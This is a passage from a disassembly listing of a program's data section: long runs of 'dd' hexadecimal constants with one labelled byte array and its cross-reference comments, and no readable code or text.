0A0F91EA8h, 89293248h, 24DE7920h, 2C091E1h, 0CABE876Fh dd 83DB9C90h, 9A571B00h, 0A8655148h, 0B0285068h, 0DEDCA341h dd 2F9029h, 2A3E3775h, 0B3EEBDD5h, 58949849h, 3106269h dd 0F1212344h, 18115BDAh, 4E2220BEh, 40CB0140h, 9114594Dh dd 10E8933Ch, 0A60FFEB0h, 80DBE7Ch, 91A1E181h, 0E400B520h dd 0ED4CE19Ch, 49C0C5C4h, 9313B245h, 8DA3286Fh, 887255CCh dd 98483AF5h, 5422E7C8h, 1900E138h, 0AAEF9A0Ah, 0A87B66CEh dd 4A8A8E00h, 0A0E5E938h, 74690076h, 685EF455h, 1400E30Dh dd 89CDC6Eh, 3E03F662h, 630AB992h, 410C6F5Dh, 0CCFDB79Bh dd 4107512Ah, 1B2F78B9h, 0B66133C7h, 0EDE855B1h, 3872E88Ah dd 0AF801ADCh, 23BE7113h, 0B1009B56h, 0BB91C1Eh, 0E8A25535h dd 0BC3F0026h, 61437DE6h, 2F002369h, 0DC9C40D7h, 0C1C716Fh dd 3796F32Ah, 0F898BE70h, 4A53B800h, 1C8B6EA7h, 40CD013Fh dd 43F7EC23h, 0C0788E64h, 69770021h, 0EFDA84h, 6FDD1C41h dd 14BBE1BEh, 932A40C1h, 589C19D6h, 9D9F7DD8h, 8A840F9Bh dd 0C7450567h, 78BFF083h, 9C01391Ch, 510C7EF1h, 0DAE469FCh dd 80AB6023h, 2F4DFB6Fh dd 8D81F707h, 25F134D9h, 5884712Ah, 24EA13Ah, 0F02F3F2h dd 0A426883h, 7D9E1800h, 7ED5AC88h, 0BF961D87h, 881155BDh dd 64FDB905h, 0C0A81F7Ch, 83901A7Fh, 0A300F510h, 7157095Bh dd 79AEC99Fh, 284C7333h, 3B84056h, 187E8B2Ah, 4808CADAh dd 3370E25h, 0D9658EBCh, 0D8C11879h, 4E6620F2h, 52DDE9F0h dd 74088489h, 0C3A44D0h, 30A04CD8h, 31EC17B3h, 0D303BF90h dd 1066F956h, 8422D6F9h, 0DF200A18h, 0D68944FAh, 0BC2F1D0Fh dd 0FC27A444h, 405AC144h, 154B2C2Dh, 2DC78512h, 270DB100h dd 0E46090F6h, 554D02A0h, 40EB169Bh, 71924040h, 97361F01h dd 235A869Ch, 0B18CE440h, 53013051h, 0B8B33AB8h, 0BE3E8A72h dd 0E66683FFh, 733FA4E9h, 0F7330520h, 38874576h, 0C5467420h dd 0EDC8E00h, 1EA18740h, 27F05718h, 250B938h, 0A4F52A7Ah dd 76E06607h, 7B002D89h, 0E5FABF1Ah, 6FDA7Fh, 65A0FD6Bh dd 69EC33C9h, 6C41EA04h, 44907990h, 4927810Bh, 3216ACB6h dd 0FC8100E9h, 9342995Ah, 6C609400h, 7188731Dh, 280C6758h dd 46DF706Fh, 370351DCh, 0A54E82FAh, 7B08F89Eh, 135822DEh dd 8990D100h, 0C806ACD2h, 128A3A53h, 70B38E80h, 0A8DCD0Fh dd 0A027DD01h, 67BCDA24h, 3729980h, 0AD66018Ch, 26A84860h dd 0ECCAA68h, 0B347F41Bh, 395BF5E0h, 2F00453Eh, 5D704628h dd 601EE1h, 2D337559h, 0DEBE31D3h, 8230F601h, 51AC101Dh dd 0ADAEC0h, 7516795Fh, 3E04FF7Eh, 5807467Bh, 73607BA4h dd 0FA9947A0h, 781C00D0h, 3AE55A0Eh, 58166EDBh, 2E015CBAh dd 0D8AC1814h, 5BE473EDh, 0E48F0733h, 402EC198h, 9317072h dd 99F46C00h, 7B35CECh, 0F6983A87h, 89302580h, 8AA9C208h dd 7B6EAA00h, 0FA2F9D7h, 0FA7602h, 4ED493EFh, 33BA53A4h dd 41B438h, 58432ABCh, 0BD567Ch, 1FE2BFAh, 0E3993926h dd 0A1FBDF00h, 0F231BC6Ch, 0A6030048h, 4DB9119Fh, 790084F3h dd 0DF7D06C7h, 0B85A744Ah, 3E30050h, 936F0C98h, 0EA0FE5AAh dd 0C0C2132Dh, 47FE81AEh, 0D6E00003h, 0DCDAAB9Ch, 8B3B0F65h dd 25C238C5h, 0DFD46Fh, 7BE34596h, 0A80010C3h, 73A772BAh dd 2D41E6h, 2BD30DD9h, 9ACF8BCBh, 18CAEE03h, 6D8117h, 0CC0804F2h dd 37D0AEC2h, 6EB31200h, 890CC644h, 0E17F0011h, 8D7B3D06h dd 3F00F7A2h, 53A5E657h, 157C3Ch, 739EA948h, 0EEB85EDEh dd 0F8847D00h, 3686B3AAh, 0B95C00EBh, 0DC60ED1Dh, 410096E1h dd 7993A744h, 3865BF1h, 0E0E8D406h, 30E877DAh, 0D01FAFFCh dd 0BB5CD5A0h, 0D0A71B0Ch, 1F150107h, 32587462h, 0C9E0CEEBh dd 290CF0F2h, 583EA620h, 22E900E4h, 253C896Ch, 0CB0708F1h dd 0A58072AAh, 5799C527h, 0E5736080h, 17006DD0h, 0D58B6FDBh dd 0B263B7h, 9447DAC6h, 57043EC9h, 18EBB300h, 9297FF1Ah dd 6875C1h, 0E8E34B30h, 86430BBCh, 8820E41Dh, 85B7F80h dd 0ECB9974h, 0C96A0E33h, 415F7660h, 1000F89Bh, 6C8198FEh dd 78553Eh, 2A7B2E8Dh, 0DB67DE90h, 99A4FC00h, 9F6BE372h dd 0C0011E8Bh, 0E1D00F5Ch, 2BAAD4C0h, 11095F28h, 80102732h dd 85BD3931h, 0D0315073h, 6B1B04D2h, 88BA190Dh, 0B3126224h dd 3C40C3DAh, 0F852985Dh, 0E3210041h, 0E5CE8A3h, 1E002997h dd 7971C816h, 997B65h, 6FB6C12h, 0EAE70D54h, 15646101h dd 35C527A9h, 1D8DEC40h, 17E814h, 5A4F3C06h, 0FE6E5B21h dd 95BF5F03h, 0C888A0F5h, 80206Bh, 94FE586h, 37F65CBBh dd 0BC3DB100h, 0C02D0D10h, 0EDDA01C4h, 0D1CC239Ch, 7EF8DB1Fh dd 0FDF25260h, 626C2890h, 52E78F8h, 6581A119h, 31A4403Bh dd 0D6887476h, 34F36A00h, 5DABC9A5h, 0AE700399h, 50B2D40Ah dd 0C21A1698h, 7B8FCA00h, 0FCA05D90h, 2983002Ch, 0B4728252h dd 4626566Eh, 0C70E5D22h, 7D5DEBAEh, 703EF87h, 481F5081h dd 0B20040A5h, 16720E3Eh, 6EB135h, 0C343A215h, 3D80CB32h dd 9B8AD0Fh, 903E01D9h, 43D2FB28h, 959AC1C4h, 0A2E0EFEFh dd 3E66DB4h, 6C011DC3h, 0EEB0681Ch, 42605E3Bh, 31DDC0F1h dd 0C6620112h, 598DB7A8h, 0B1ACC065h, 0E3001EEAh, 0B53F105h dd 0CC5FFDh, 8C78FF5h, 268D8658h, 0F1243600h, 0B2987A11h dd 37B0006Eh, 7C34BB51h, 0E701EAA1h, 994E1A2Ah, 30E8CC98h dd 0B310008Dh, 3DEB2B4Ah, 31002CD3h, 0B1422F5Eh, 4F04A8FCh dd 0CDDCA021h, 1EACFA2Ch, 0B05C5E0Ch, 0E09D5A58h, 4D00C1B4h dd 772A40ECh, 174497h, 0AB72B953h, 0D1AD8618h, 0FC6449h dd 0B7B68052h, 92F75F3h, 29A1D569h, 0E942E820h, 506A3D2h dd 1C77C5C2h, 0C1880019h, 5FE2D828h, 48C0836Dh, 1CF1D7B8h dd 3F5092E1h, 0BB036040h, 62AEAC4Eh, 21AF000h, 0CE8F73E4h dd 38CB00DBh, 0FC4BEAE9h, 4300054Dh, 499A5D45h, 29F4A6h dd 0FA966EAEh, 0C9857E1Ah, 5B1DD600h, 0B0379EF6h, 8FE00E3h dd 9F793CA4h, 1E007136h, 9D9A7BAAh, 1D01E81Bh, 80138F06h dd 0DF9BC6CAh, 90E8BEF0h, 8027B43Ah, 6A33184Ah, 7DC4D4h dd 16C98380h, 0B850E0F7h, 0D1C7680Dh, 8661B095h, 109C8C8h dd 546C8EC1h, 0EC77C49Ch, 401CA2EEh, 2740EBADh, 0D5DE8DE6h dd 0E0E500FCh, 6BF0BCA0h, 9600927Ch, 0FB7EF9DBh, 0ADAFFEFh dd 1EB82E0Bh, 73004990h, 3339A293h, 47958700h, 0B109170Eh dd 0A4C0726h, 12DFA6h, 25996B96h, 340CEC00h, 14F7D88Dh dd 64EE0724h, 0B3DE048Ah, 0ACC07D6Ch, 1B003559h, 7218D77Fh dd 0B7FD3Dh, 3E9EED8Fh, 0CCEAAD95h, 0FAE91601h, 0F30CF662h dd 3AE3AC4h, 35277CD1h, 0EF80FEF2h, 0E8127E48h, 8800576Fh dd 643C96D6h, 4A9F005Bh, 0CE05F203h, 67006308h, 0ECE7EB4Eh dd 5D1DCFh, 47F07314h, 0C90698AFh, 99173402h, 64E18E3Dh dd 5FD40434h, 846DD3E9h, 923090A7h, 6892E42Ch, 42A39E00h dd 442B9981h, 0EAE81FADh, 43980F5Dh, 38E7160Ah, 41E0F280h dd 0F1CC4845h, 71F751Eh, 81F4D400h, 5D51CDh, 2F49559Eh dd 5E9C856Dh, 0AD2510C7h, 50584CCFh, 16430093h, 81637B03h dd 4F482204h, 4A0D0064h, 105077B9h, 78DB004Bh, 0F1A051B4h dd 0EC609622h, 90C073A8h, 1DE0F406h, 1CE9DB40h, 6EF8C565h dd 0E46C00B4h, 120AFFD8h, 6C08B600h, 5F17AD61h, 0B5F0F5h dd 0EBC9BD14h, 0F4D34038h, 0F35E630Ah, 8B0EBBA5h, 82A8C01Eh dd 4BA783h, 72B8C708h, 9FB1EACFh, 3C9DDB00h, 2C031C89h dd 5F7A0053h, 6CD34A2Dh, 0D1F7B9Ah, 1604E52Eh, 0A9C317D1h dd 74DEC041h, 97E407B3h, 4024C1FDh, 55ED086Dh, 851A0E00h dd 623D2FB0h, 0A530176h, 491C3A3Bh, 93527063h, 1F4A95Dh dd 0CE367C01h, 37105E6Dh, 0CF00476Ah, 443B88A1h, 0DE337Dh dd 59902EAAh, 9DC50C34h, 0B7872300h, 24F813D3h, 587B004Ah dd 0F5065553h, 160E4809h, 208285A7h, 0FF5E3DC7h, 2D2A0001h dd 0E7DFE2CDh, 95008107h, 361CCFAEh, 5FEA7118h, 0B600020h dd 0D6A14086h, 0F6B4340Bh, 0EAD0206Dh, 774CE43h, 575F6451h dd 0A62350E3h, 0E04CF918h, 417300F6h, 0ACA8017Eh, 0F51001D6h dd 0EABB49C7h, 0C87C313Fh, 24008CC8h, 0AD16C286h, 1FE8947h dd 0D2A8DFB4h, 7532B207h, 23F0E8F4h, 0B8745Dh, 0A53F18E1h dd 303B20A8h, 6151F586h, 0E700C5B3h, 492654ADh, 1F79AF23h dd 0C07F3B2Ah, 29B0B40Ah, 5002CEDh, 0DAC5FB48h, 230DCBh dd 3DD08316h, 815A17F8h, 10AC3C00h, 73B795DFh, 0F0F6BCh dd 84A7BB61h dd 6C85874Bh, 831DCD0Bh, 0B5F8202Bh, 602C7FE3h, 9C65117Ch dd 0D800EE97h, 6DAABF67h, 58FAA163h, 17F7206h, 75D2EF6Ch dd 0FC5B3396h, 7200BC43h, 30905D67h, 1D778754h, 0BE1DFDFFh dd 0EC165F82h, 0F540D5A1h, 73043F20h, 988F2B48h, 46DC4CA0h dd 528F801Ch, 0B9584A3h, 1A8016B8h, 0EFB6C081h, 99D2035Ch dd 0D870206Dh, 14603AFh, 7FC50704h, 0BED4FFB8h, 9D04557Fh dd 1E81E139h, 16CE0090h, 6D500FCAh, 1CC0E278h, 3DE88214h dd 0FA0064BAh, 0D27C7948h, 74FDEE74h, 0ED7A04FCh, 0D0D03932h dd 0B5E7448Ch, 0AAC32A00h, 0B3348673h, 8C2B595Fh, 176B7900h dd 98586DFFh, 0B1004977h, 0A48CEEEAh, 263204F7h, 85E11h dd 5130D855h, 0CCB03FDEh, 85DBD400h, 4E479B0Ch, 13E7A02Fh dd 0D7380BAEh, 0D000A684h, 44403B08h, 994C8972h, 0C6B3005Fh dd 0AA278343h, 90CC0032h, 0DDDCB776h, 600D2A1h, 6BC519D3h dd 1EA519Ch, 0B720887Ah, 60245A78h, 0E100DDD0h, 0AA98E83h dd 1DC6A1D0h, 809513DAh, 0F199BCAEh, 0B603218Ch, 0CBC337E1h dd 0CD9C0017h, 0F8765BC7h, 0D503F0AAh, 6F0227EAh, 0F44000ABh dd 519420Ah, 4A4B180Ch, 0D71E1805h, 1D23782Ch, 8FAC8C66h dd 5FA0F59Dh, 5AB70314h, 0BB6CD01Eh, 569A7100h, 1F383274h dd 584B332Bh, 72836608h, 0E9528C00h, 1CD91DEBh, 0E63C2E02h dd 6C6E0048h, 0CF42D215h, 0DDD5A03Bh, 0B611004Ch, 48A4D165h dd 97D603E9h, 0C3D8342Fh, 83E7393Bh, 93571D41h, 802FDF68h dd 4ACB5B10h, 400530CAh, 0C11612C0h, 0E4005FE4h, 4DF346C9h dd 0B45DBAh, 0AD37B70Ch, 0DCC4196Dh, 6EB17C1Eh, 3B9300F9h dd 77C6CC64h, 34EA002Dh, 9B68C4Ch, 0C20E53EFh, 200FDE85h dd 0D7CD1EB1h, 6541392Fh, 9F863800h, 2A2A17Ah, 0DAABC700h dd 55A41116h, 408E0236h, 0C309E6AFh, 2A8D96C0h, 55F7401h dd 0E748F6ABh, 7F378080h, 0E5FB841Ch, 7D17C400h, 2FC9F7C3h dd 7EAB00B0h, 21C6EBE4h, 230094ACh, 71630EAAh, 0A84AB8h dd 3FAF8F07h, 904741C1h, 0B934F100h, 0F06AE0B7h, 8E70057Dh dd 80988297h, 17A00F00h, 0E7AE5600h, 91A1F249h, 575D0563h dd 0C070BE7Fh, 22DD50E9h, 4E90180Bh, 0DE35816Eh, 6AD8B292h dd 752B1F60h, 0CFA44279h, 5EC304EEh, 0B18CD7F8h, 9ABDDF1Eh dd 1A49E1C0h, 5B630CE2h, 88D8A0B4h, 0FCE31801h, 9FDADE95h dd 85115080h, 9E419A32h, 0E951E124h, 0ECD0AA00h, 9D7F8E02h dd 5F4A8840h, 0ACC44Ch, 0B9E635D1h, 0F43746h, 6D80FD7Dh dd 0FB28D8Eh, 29228B12h, 6BE33600h, 0E42EBAADh, 4BABFh dd 9EDB4835h, 7DF1290h, 0E1B88600h, 87F40BB9h, 69893h dd 8C6977F7h, 0E36CE225h, 27F1DA03h, 8099E6B0h, 7C677960h dd 4B7C0065h, 9D07C655h, 3816F1B6h, 0E23Dh, 0E853F697h dd 0E16C0C3Ch, 95192C50h, 80172228h, 8FAF3Ch, 0A2A4620Ch dd 5C15A743h, 900C446h, 0ADD77B86h, 8892DB88h, 0D440DC4Ah dd 6B14CB03h, 96AF7AD0h, 65970018h, 540F40CFh, 9C0F2490h dd 60FD9170h, 0B7AAA17Ch, 2E5F00B4h, 0D667C562h, 0E40522DEh dd 940F65DDh, 0C2940Eh, 966330Ch, 1F30711h, 906ECFh, 38FCBC5Dh dd 63DDCB0h, 0D5198254h, 400D346Ah, 5B9620Bh, 2BF3633Bh dd 0C9B1C1A3h, 72504108h, 7A0A08F1h, 6ABD005Bh, 56AE07F6h dd 0D1077804h, 46F8540Bh, 8110A050h, 280C0063h, 0BF6FEBBBh dd 40006E5Fh, 9A51E4Ah, 0E4F0388h, 9C22A22Dh, 8E5FD9A0h dd 292E8D49h, 8A034058h, 0A1CC47C9h, 50707BC5h, 0BDB0066h dd 0C1BB9A26h, 6E28461Ah, 0B71D8EECh, 6A5FF3D8h, 0E3FCCB40h dd 38AB6833h, 7004037h, 90813C38h, 0ED3BF1D5h, 40C5D79h dd 4666450Fh, 218D5107h, 602D9D4Bh, 60005688h, 65EF16E3h dd 16AAF103h, 0ED87A7h, 31518E0Ch, 6300D8DCh, 0F725E9C9h dd 1E0F87Ch, 295236E8h, 0D8D31B83h, 0B001F2FDh, 27D728C1h dd 15E02CC8h, 0E47097h, 7148CB33h, 2EF97D5Ch, 7807194Fh dd 4C72DF22h, 8F74C8B6h, 394E380Ah, 0F9820D00h, 5DE77375h dd 810EDCEAh, 405B7C21h, 0C0118B2h, 7A6A7E26h, 71E9E09Bh dd 699E0027h, 0E757A8ADh, 0A6010ECEh, 0E431D999h, 0E0D87748h dd 0B65938F5h, 0C3D8160h, 0AC251830h, 0F5448290h, 385007h dd 78D31711h, 7A33502Bh, 8551AD04h, 0D0A41BF1h, 1CB850B5h dd 0B94A040Bh, 80C20C08h, 0BD463D2Fh, 0BF055504h, 8C01651h dd 62CB27h, 0D3C1F11Eh, 7F99B558h, 3DA46400h, 0A78730F4h dd 50370282h, 32913B8Dh, 2494585Ah, 78E61803h, 9707C63h dd 0DF68AE88h, 620B5C64h, 6E945Ah, 0DA915338h, 40E9DEFFh dd 81BF4421h, 41CF62B3h, 60B05C0Ah, 74D49Ah, 6FE7A2E2h dd 0BDA0DF24h, 0CE30F507h, 2140B264h, 74F9854h, 0A2BA9203h dd 0B3F4F0C9h, 13F2EC1Ch, 0ED0434E0h, 10660677h, 75491140h dd 2D165793h, 0D8035B09h, 0E1C203h, 53456D68h, 0EA8A5F17h dd 5E63CD00h, 194EAF2Dh, 9D3818DFh, 78C929E4h, 0B3D483h dd 0FE433CA8h, 0A0F8404Fh, 67B46F6Dh, 0AFF29300h, 8ADFB0CCh dd 0C4995C21h, 0F67EDD04h, 3A5CC0C0h, 8318BE70h, 0D71057CCh dd 2CAD7E2Bh, 24EA26h, 7997F323h, 50EF53B6h, 0DAA8098Ch dd 45047CFAh, 6AD9F927h, 23F54A0h, 48CCD83Dh, 34C0A360h dd 4D00AF27h, 255F812Eh, 58216908h, 1C4C97CBh, 7A378400h dd 24E35C04h, 0A602B000h, 6E1EA75Eh, 99B60081h, 0CB44FB5Ah dd 448FC9Ah, 0D1DA00E4h, 0E8B27168h, 94C00721h, 30312074h dd 890C0B86h, 99D19600h, 0FE675381h, 7ACCFACEh, 4EB31E0Dh dd 823540E4h, 8905C0F3h, 5731F503h, 0A0FA49C4h, 7837AAABh dd 0C742000Fh, 14E8E278h, 17125976h, 9C00F331h, 0C0B34E3Bh dd 279B0045h, 461F5138h, 0F10032B4h, 1202B10h, 0E3F2978Ch dd 1E7BD6F4h, 405F9AFBh, 0E8FAF663h, 95036128h, 0E384A0E2h dd 803DBA80h, 0DFD4CEE4h, 0BD5F173Eh, 806F1D2Dh, 0DAB14FC0h dd 0A2039363h, 426F11CEh, 0A430033Bh, 4F70A1DCh, 1ECA7B98h dd 8C38AC00h, 73259DAFh, 72EE005Ah, 2D08C396h, 9A0015B2h dd 7999B3DBh, 0C91556Ch, 14F9C22Ch, 8A003118h, 1237F6D5h dd 46284h, 0A7D0D8A9h, 885C427h, 0F809FD71h, 0EE81FAh dd 0ABDD0504h, 0AE4800ECh, 36CFD802h, 631ED599h, 0B54147C0h dd 0BED3B30Ch, 335BF8h, 0CDEC68BAh, 0A0691E6Bh, 93228200h dd 4CEDDA9Eh, 461B07E5h, 0D01FCCB5h, 71DEC27Fh, 0C1882100h dd 9980181Eh, 26440711h, 0E16AA2E7h, 80072D9Fh, 0F9156230h dd 1D674191h, 4074A185h, 1E4CE4C9h, 721D64A0h, 834315CCh dd 86B492h, 0D9673520h, 0E7B26353h, 436A5513h, 0E9DAFF03h dd 0F0919857h, 0BD7607B5h, 10BC8799h, 4C24C3FDh, 80B14201h dd 0AE27A878h, 6188E4h, 0B74AD596h, 580AFE82h, 0CE5FD800h dd 7B10DEBFh, 0FDF600CFh, 0B883688Fh, 49001CE3h, 32C16E95h dd 245A45E9h, 8CF517h, 624CB38Ch, 390081ABh, 6C674D2Fh dd 3D5E4472h, 388074DBh, 3BA860D2h, 4100FBDDh, 1C482406h dd 54EDCh, 80AC4AC5h, 0EA379AE6h, 0EC6D6E00h, 860DDE57h dd 0DB58004Dh, 0D1B9764Eh, 29B8726Fh, 0A203D578h, 59461697h dd 0AF90D03Bh, 454B3094h, 0BE8B7010h, 76000798h, 0BD0B3641h dd 0A4E4E3h, 19AC25A3h, 0F215C18Ch, 3B924600h, 0AF1C7D54h dd 0C2F30024h, 0DB87014Ah, 0F1000FBEh, 39EB2665h, 0F8281Dh dd 0A5BBAE97h dd 31C6DE5Fh, 0AFCBA712h, 72178F00h db 75h byte_530055 db 5Dh, 9Ah, 3Ch ; DATA XREF: ___:off_437DC4o ; ___:off_437DDCo dd 933EFEF4h, 2B7A7100h, 1F7677AEh, 0CE795800h, 0F144B6B8h dd 0E00500C7h, 0B4130A9Dh, 0A000879Bh, 7A0F0721h, 491B91h dd 81B9B316h, 0ECF92B60h, 0D8ED2200h, 0A10E9990h, 0BF9B00D1h dd 0FDB3834Ch, 285EE4DDh, 9CFCB0h, 1495EF1Eh, 0F5F9390Ch dd 1F29E607h, 0A510F097h, 0C3ACDDFBh, 12CB3AB1h, 0D944C1F8h dd 0BA315000h, 78649456h, 778D7E85h, 0D6230068h, 4BB9C604h dd 2D00BF65h, 0E4EAC51Eh, 48555491h, 99005060h, 0B8738C4Ch dd 0F11D6D98h, 4AC0075Fh, 727CA503h, 0EA3F004Fh, 0D7CBEFB5h dd 9D3D1DE6h, 616780ECh, 0C5F37B63h, 0CA8F01ADh, 96DE8381h dd 0BC92C01Eh, 9F57E71Fh, 6B000024h, 15060A90h, 22730068h dd 0E50B6E49h, 424CD865h, 0B62B03A7h, 983B5185h, 4CA16321h dd 0B1001402h, 0A275036Dh, 0C4481A36h, 0C5037198h, 0AF921D12h dd 6415D0C6h, 0C76483Bh, 91FB0375h, 29B332FDh, 3C8F7A8h dd 0DEC93801h, 0AF66DCB0h, 0C0790DF0h, 0D90491D0h, 13FAB9CCh dd 3C094000h, 8D88B49Bh, 0DE7027h, 263A495h, 0C19E2F9Ah dd 0C072C400h, 447ADBC7h, 31F4FDEBh, 0FEE21293h, 0F04400EEh dd 0DA339BCEh, 2DD0EF03h, 0E1456B57h, 5F30F21Bh, 5827009Fh dd 0CEF4664Dh, 4724E513h, 0A800D440h, 16E939C5h, 6CF80343h dd 0DB662EABh, 0D65FB1D0h, 90F6C414h, 6D550080h, 7DA9A357h dd 9D08187Fh, 1B7318B8h, 0C7197778h, 0FB10F3FFh, 601A2C00h dd 206DEB30h, 0C09C1985h, 0EF1DC230h, 84E373E9h, 577DD918h dd 6FA04A0Eh, 0CF0B9DD1h, 48B7DE06h, 3506C1Dh, 5A377240h dd 0F015C504h, 3CCBEE9h, 0C749371h, 3F68026Ch, 0C5D63272h dd 525B5C81h, 0D5619854h, 3EEE6458h, 9D01BB3Ch, 0BD0D0AC9h dd 920E7E3Bh, 7F65A0EBh, 0E7CBCCh, 4E59FA32h, 6AAA766Ch dd 0F9DFF000h, 645AC1CEh, 0F1730029h, 4D32BBA9h, 9D02074Ch dd 0C3B9A396h, 21A040AEh, 1DF700E8h, 0D0AC1309h, 4D1E3D48h dd 9DDDC4CCh, 0C0843F8Eh, 9895477Ah, 733200CAh, 938CBFAh dd 7700DEE9h, 8A969B17h, 4D427EDBh, 500084F2h, 2BDF7926h dd 1C2A0807h, 9008CD0h, 489A8BB4h, 0ABD55EBh, 0A976FBF0h dd 78C200CCh, 88F518DAh, 5D0529FCh, 8B206EE8h, 8948481h dd 76811880h, 0F33D70B7h, 0E03C31F9h, 2878B9D8h, 8583CB00h dd 69A0429Bh, 6FC0A8AAh, 71F4031Ch, 959D97AEh, 0F8B284A8h dd 730CBD78h, 28A076A9h, 0F0C0F6Dh, 0C49CBAD5h, 9047FF8Eh dd 81F74D08h, 0A16ED590h, 9CDA8068h, 1558A10h, 2ACA4BEBh dd 0E0898F98h, 8DF2DB6Fh, 0F0F7692Ah, 9E1C301Ch, 8447030h dd 526731D1h, 0ACC72858h, 9D00C871h, 0D9EB4C20h, 120B785Bh dd 4B8142h, 0CC734750h, 0DA2430D3h, 8782302Dh, 8FA93906h dd 0D43C4448h, 0EDFC2220h, 308598A0h, 6C861324h, 0E8E7C88Ch dd 101BEB1Bh, 0B0E1A939h, 13C04194h, 0C9482093h, 0DED8DA15h dd 0AF6E0CCCh, 0FCC21851h, 0A8DD4842h, 0EE79AA87h, 0E44722E0h dd 1772CABEh, 21C048E8h, 8DAF61DCh, 59AB0396h, 0D45A1473h dd 8909A028h, 31841050h, 0E07A1C19h, 80F6C418h, 0A6066E84h dd 0A09169h, 64141190h, 0E10C1F0Eh, 82A739Ch, 1721CE85h dd 2B401420h, 22EAC80Fh, 0C007A030h, 0D1D870E3h, 0C21DDCF9h dd 643994B4h, 0BBAF4280h, 0CA436F22h, 0F31E10h, 6BAF4AD7h dd 0EABD74h, 4D895E86h, 0B69D6021h, 0F19CB20h, 0F0E6CA50h dd 708DC066h, 0BC4907F6h, 0C50A0F20h, 0F2FC06A1h, 0FD870F98h dd 8EC0E76Ah, 5602DDB9h, 3FCA20F3h, 8666C100h, 0F79D27CBh dd 9ECA07BBh, 402E3DAEh, 0C25C3919h, 23164300h, 39F14FDh dd 7D1A0006h, 0FFAE9C51h, 1F14B2BEh, 11143039h, 2F1115E9h dd 0BE13086Ch, 0C6E504B1h, 3B55042Eh, 52887B42h, 2197C702h dd 22FF8B0h, 118123A1h, 0EB3705C8h, 0FD1A2500h, 61B09097h dd 0A50D3BECh, 450094D8h, 0BE41B94Ch, 23959F5h, 0A05480C8h dd 1FD10F4Dh, 86EEF7h, 7CA9F2B7h, 0FBD580C0h, 1DF4FA07h dd 57E1A2A0h, 0B4401E3Dh, 760BCBFh, 0FDE4BA67h, 402797F0h dd 0DE7CFF6Fh, 55963F00h, 0F5B8B0BBh, 26FA2Ch, 0C47AAA84h dd 0A75F4860h, 69190460h, 94931Ah, 3B089B62h, 4E461249h dd 0EDBE800h, 0C44FC7A2h, 0E1671C40h, 0B9390028h, 1C04AC16h dd 22FF9400h, 0D318F546h, 0AA50C08Ah, 0EDB97251h, 2C417000h dd 11CBD212h, 0CE173C5Bh, 3C13EF9Fh, 0DA6F8980h, 1A28D67h dd 8E004CEEh, 0FB6ED505h, 0DE69E2C6h, 0F1598010h, 2DAA574Bh dd 7400A979h, 4522416Ah, 14AED61h, 4218944Fh, 0F85B3DE6h dd 0FB017E1Eh, 0DAAA3111h, 0C0EA052Ch, 0F4DE08h, 0BADCAB01h dd 8E6D603Ah, 391C0700h, 0A554D959h, 776B00E7h, 0FDA99B44h dd 7F006A5Fh, 0DF379F16h, 14C34AAh, 0B07107FBh, 70E1DE8Ch dd 6A0047F8h, 5B53961Dh, 0D13AAEh, 0C88EB070h, 743EB227h dd 0C09DA900h, 2FCBB4A0h, 351D0047h, 0A4C104F4h, 9B00A82Ah dd 0C369239Fh, 0FC78034Fh, 2F220F91h, 0C03F385Bh, 0D8190CD0h dd 0E8079ADDh, 28CBC67Dh, 6F5D7BB0h, 0AFDA002Eh, 3F8560A4h dd 107FB732h, 6B008390h, 44EDF811h, 2CC775Ch, 0EAB43450h dd 8C804B8Ah, 976B16A7h, 63583300h, 50440C8Dh, 479A0083h dd 7D3CF5E5h, 803DF35Ch, 31340035h, 0FF88C429h, 3A7F00B9h dd 67A954CCh, 8300D45Eh, 4CBE1C5Ch, 1D9C2B8Bh, 0E82D91E2h dd 4A7F00D4h, 0BA8A460Ch, 0EE00C1C4h, 5F2E1390h, 0C8C9F0h dd 3C214B69h, 0CEFF0444h, 57235300h, 0C0C41F14h, 50B400AAh dd 6E49195Eh, 2F3A40F0h, 39471DACh, 922536C0h, 1C85893Dh dd 0E1D929h, 0CC08F31Bh, 681D9ECDh, 67CE8D90h, 63C90089h dd 0CE737Dh, 5E486237h, 8DEB2F1Ah, 0D6E2E000h, 3F9956Eh dd 98C11DC5h, 0B06282CCh, 9880B509h, 5AD2ADF1h, 8058073Dh dd 9FEF20C5h, 2883A6Ah, 2180C4BEh, 2D402246h, 0B000A9C2h dd 0F302CBF9h, 0F62BE904h, 3E4B3D25h, 98129Fh, 269981E5h dd 0EC25B50Dh, 0C617E06Eh, 498C01CDh, 1DD04D54h, 0D04FFD2Fh dd 707E9D5h, 0D899060Dh, 0C66430D0h, 0CF490F8Eh, 0BE409AB7h dd 71DD83FFh, 0FA133F00h, 2D5785DBh, 71A49030h, 83230054h dd 672FC493h, 0E8A011C7h, 101C7619h, 0BF2B2Ch, 8998A0BAh dd 0E7F1856h, 43357DBEh, 0BCD83BECh, 9407C1FAh, 2A13FF4Ch dd 45F138B0h, 17EA00A7h, 0FB3A2CB1h, 0D5131637h, 0B000FC4Bh dd 4889D0CBh, 0A38CC03Ch, 1BAFEAC6h, 85443E00h, 5E344547h dd 0F69600A9h, 80A58BC0h, 2015E068h, 7A48D75h, 0DC24CC87h dd 0A58C0049h, 98B34Bh, 0A3FC4C80h, 96D642ACh, 6ACE48h dd 0D9E93FC9h, 0C025E7A9h, 0A9FAD30h, 5300E098h, 5036961Eh dd 98D34B27h, 65B77E96h, 6328B4h, 0F6DED6E8h, 61006B9Ch dd 1EC803A8h, 7314BA7h, 99884358h, 0FF08A0B5h, 290E0745h dd 6FBA1BACh, 0FEECE0C9h, 136E77F0h, 3019398h, 0B6D64D94h dd 22E91800h, 10E63C23h, 0B559019Fh, 0DF5F3F75h, 8EE3F4A6h dd 0AC0B6AD3h, 39AB80A8h, 3AA17E01h, 0B280B425h, 0DFE18A06h dd 93189614h, 0B710188Eh, 3AB40052h, 916AE7EBh, 3F00FBB9h dd 0D44631D3h, 31DBF8Fh, 67DDE36Eh, 0ABC0956Ah, 8900810Bh dd 92D70C43h, 1877EC7Dh, 89593385h, 0BF00D9D2h, 0C7AF38B4h dd 4AF3B8h, 0B6887344h, 15E33EEDh, 35541F00h, 21E103C2h dd 4F900Ah, 374FEC2Ah, 68C9AFA3h, 6569F900h, 55546B38h dd 456F0FE0h, 0FDE05B1Dh dd 0C5C22C11h, 0B24C7600h, 0C8D328FBh, 63A800D2h, 1F7B7CCEh dd 9B48BF37h, 67650089h, 0E6DB0D22h, 0B1DA008Bh, 3EF814EDh dd 84A0F642h, 410024ACh, 0A5C29369h, 2E3F2162h, 0CF9198Eh dd 